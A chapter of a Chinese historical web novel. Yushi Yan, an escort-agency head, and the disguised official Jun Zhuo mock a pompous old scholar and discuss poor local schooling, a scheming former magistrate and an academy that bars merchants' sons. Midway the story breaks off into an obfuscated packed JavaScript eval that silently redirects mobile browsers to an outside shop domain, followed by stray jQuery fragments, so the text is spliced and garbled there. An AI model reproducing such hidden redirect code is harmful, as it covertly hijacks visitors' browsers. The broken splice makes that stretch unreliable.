连郭老都看出来他是有点东西的人了,雨师言笑着开口:“君兄也就是谦虚。你若是有机会,没准还能和徐县令成为同僚。”
“徐县令……”君琢手心有些冒汗,嘴角都僵僵的,“徐县令学富五车,在下也就是略懂皮毛,真的谬赞了。”
郭老没当回事,转而惋惜道:“唉……现在呀,齐鹤都没多少人会去应考,只知道有口饭吃便贪图享乐,殊不知士农工商商为最末!着实是未开化之愚民!”
雨师言:?
镖局商人将全职研究老学究这段话到底在骂谁。
老学究侃侃而谈,忽而文思泉涌,愤慨直呼天地苍茫竟无一丝文才容身之处,天下之大竟无一处可供吾抒发抱负……
雨师言不再接话,默默低头,抬手捻碎游隼颈间未脱落的羽鞘。
“想当初,千军万马过独木桥,如今齐鹤文坛竟然凋零至此,实在令老夫……”
“那现在考的人少,您去应举正好啊,”君琢故作不解,还喝了口茶,“为什么不去,是不想做官吗?”
雨师言深吸一口气,艰难压住嘴角,看向别处。
“……”郭老的慷慨激昂戛然而止,老年的脸红胜过一切。
“若实在不行,以您的资历,也当有官差来请您去做幕友才是,您怎么也不去?”君琢还诚恳请教,“可是如今官场污浊,您中通外直不蔓不枝、出淤泥而不染,这才不敢踏足啊?”
雨师言手掌掩住嘴,看天,不语,眼尾都快与嘴角相连了。
郭老有些恼了:“老夫……”
“啊,我明白您的志向了!”
君琢作势一拍大腿,这位老秀才不由得震了一下:“什、什么志向?”
“您定是寄情山水、归于田野、大隐隐于市吧?”他似笑非笑,好像真的敬佩这位老秀才一般。
游隼左看看右看看,对着君琢“叽”了一声,像是在赞同他。
“你!”郭老拍案而起,“雨师言,这就是你的友人对老夫说话的态度?”
雨师言忙清了清嗓子,赔笑道:“郭老您看看这,您别误会,他态度挺好的!这不正是您如今颐养天年的日子吗,多好?”
郭老总觉得君琢这黄毛小儿在嘲讽人,却又不好真的对海晏镖局大当家的人撒气,只好拂袖而去。
今日老夫就看在雨师大当家的面子上,饶这不知礼数的小儿一次!小老头心中想道。
老人的脚步声走出去挺远了,雨师言才试探性回头看了一眼。
“会不会给你惹麻烦了?”君琢随手为她添茶。
“总说千里马难遇伯乐,殊不知自己是匹骡子——”雨师言端起茶杯,吹散热气,“你看他敢惹我吗?”
君琢倒有些不解了:“那你还听他指点江山?”
“哈哈,其实郭老也是个状师,他遇到难告的富户就会把活介绍给我,所以有些时候还是要维持些表面的和平。”雨师言转念一想,“君兄平日里在京城,不需要这般权衡吗?”
“额、我……我背后有东家,没人会与我为难。”君琢悄悄瞥了一眼,这样解释,她还颔了颔首。
应该是没起疑?
雨师言适时岔开话题:“君兄方才说徐县令是为了告诉大家读书很重要,鼓励童子去考生员,可是认真的?”
“自然,”为防止她追问,君琢还补了一句,“我在京城时便少见江州籍的举子赶考,想必上头也想让这边重视起来。”
“原来如此……”雨师言若有所思。
齐鹤县所在的江州,不算富庶,属于是比上不足比下有余。
别的地方好歹有些名门望族,可齐鹤就是富商多。
齐鹤的私塾贵,县学又没什么厉害的老师,大家一看还是去给富户做工来钱快,自然就算了。
雨师言仔细想想:“不过百姓们还是会有后悔自己念书少的时候。”
“哦?何时?”
“征兵之时。”
“……”沉默是上巳节的君琢。
“珞舟我早就说你了,”越兼扇着扇子指指点点,“不会开玩笑就不要硬开。”
“我没开玩笑,我说的是实话,”雨师言认认真真掰着手指头,“三年前那是没征到我们齐鹤就打完了。那时候我们打外面回来的镖师就说了,沿途到处是后悔没让自家儿子去考个秀才都,考个秀才就不必入伍了。”
越兼一个马步蹲下来:“我们齐鹤才没有孬种!我们齐鹤确实文曲星差了点儿,但除了无奸不商以外,还是武德充沛的!”
“对!”罗银珠甩开裙摆也打出一拳,“我们齐鹤县武馆遍地开花,整个江州的镖师,有多少是咱们齐鹤籍的?”
这两人还真是臭味相投……雨师言摆摆手:“别说那些虚的,齐鹤就没出过举人。”
“雨师珞舟你这小没良心的,谁说没出过举人?”越兼叉腰,“咱师父不是举人吗?”
雨师言呵呵两声:“他是武举人,人家现在要的是文官!”
“尊师是武举人?”君琢捕捉到关键信息忙问,“尊师如今官任何职啊?”
雨师言这会儿有些难为情地摸了摸鼻子:“额……我师父后面没考上了。而且他祖籍是海州那边的,你之前不是说去南园城查账吗?他好像是那一块儿周围的人。”
“这?”南园城查账……君琢都快把这个借口忘了。
“啊~”罗银珠两手垂头丧气,“云师傅居然不是我们这边的人,我还以为我们齐鹤真有举人呢……”
越兼一时气笑了:“银珠你礼貌吗?”
越兼不服气,又与雨师言争论云师傅现在把武馆定在了齐鹤,那他就是齐鹤人。
几个回合下来,雨师言双手合十表示师兄你说的都对。
君琢算是知道那左少当家为何说她人善被人欺了。
在蓬水园用过午膳,已接近典礼时分。
三加三拜,好不热闹。女儿以笄盘发,男儿戴上发冠。
雨师言倒也不说别的,也就是讲些意头好的嘱咐。
黄昏金光洒落,躺在她发顶打滚。游隼啄啄羽毛,似乎想把金色赶走,却引来女贞树的叶子嬉。
“珞舟,你每年都会来说两句?”
轮椅碾过的动静惊飞了屋檐麻雀,它们四面八方散开,不见了踪影。
“腿好的时候没有这差事。后来上任的尤县令亲自来拜访我,说我是忠义烈妇,得让齐鹤的百姓都见见。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769950|209867||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
雨师言神色淡了,冷笑一声:“此人将我捧得极高,百姓们看我都是‘大善人’,这样不管哪个富户挑事儿都得我出面去摆平。得罪人的事我做了,公正廉明的案子他判了,还照收不误我的钱!”
她所谓女乡绅的身份也就是这尤县令捧起来的,导致她现在活比以前多钱比以前少。
君琢不由得握紧轮椅把手。
这尤县令,如今升任京城御史中丞,吏部说他在地方判案公正、为人踏实肯干。
竟是如此心思深沉之人,吏部考绩上写得花团锦簇,此人恐怕在其他地方的根基也……
推不动了,君琢这才回神。
雨师言也不说话,就拿未出鞘的长剑抵着转弯处的柱子,另一手搓捻游隼脖子上的羽鞘。
“嗯、抱歉。”君琢拉着轮椅后退,留出足够空间才转向。
“君兄之前与商户们说的话的确在理,京城的贵人们也是这么想的?”雨师言突然问。
君琢像是说些传言一般:“我……在京城时听到一些贵人的风声的确是如此,都说江州籍应举的人实在太少了。”
“徐县令这样发公文下来,你也看到了没什么用——”她食指轻点轮椅扶手,“乡亲们该找人还是找人,没人会因为这么一纸看不懂的公文就花十几二十倍的金钱精力去念书。”
君琢顺势问道:“那依你所见,乡亲们怎么样才会送孩子去念书。”
他果然会追问……雨师言愈发确定他不是商人,哪有商人光天化日之下就把自己背后有东家这种事卖出去的?
“依我看,还是要多一些有本事的老师。要想中举得有政见有才干,没本事朝廷凭什么养你吃白饭?”
雨师言也见过一些老秀才私塾先生,他们大多是给孩童开蒙,让孩子们识得几个字,之后便被辞退了。
当地并无书香门第,最多也就是一辈一辈地止在秀才,能释经已经是好先生了。
“考上了秀才以后,县学的老师也不怎么样,而那隔壁溧州最有名的安承书院——”雨师言想起就是来气,“不收商贾之子!”
“自从先帝正兴三年开始就说了,我们商人虽为良民之末可也是良民,良民就是可以应举的,凭什么他书院不收啊?”
“回头又说我们商人是未开化之愚民,想我们开化你们倒是开门啊?”
“就是站着说话不腰疼还仗势欺人,我看他们以后出来也是狗官!”她说的有些急了,一拍轮椅扶手,回头,“君兄,你说是吧?”
君琢一顿,安承书院的确是大庄数一数二的书院,不少肱骨之臣出于此,若说狗官也……“也许。”
“不过,我倒不曾听说安承书院不收商贾之子,”君琢有些疑惑,“你从何得知?”
“齐鹤有些书吏人家去打听过,回头换商贾人家去了就直接被轰出来了,也不知道什么毛病……”
雨师言又细数齐鹤县没有义学、没有书院等等。何况大家都做生意,更没有谁看不起谁,更显得念书没多重要了。
安承书院不收商贾之子……君琢倒是第一次听说,这书院藏得蛮深啊。
有些事,得联系徐斐然、告诉他才行,毕竟他才是这片地方的父母官。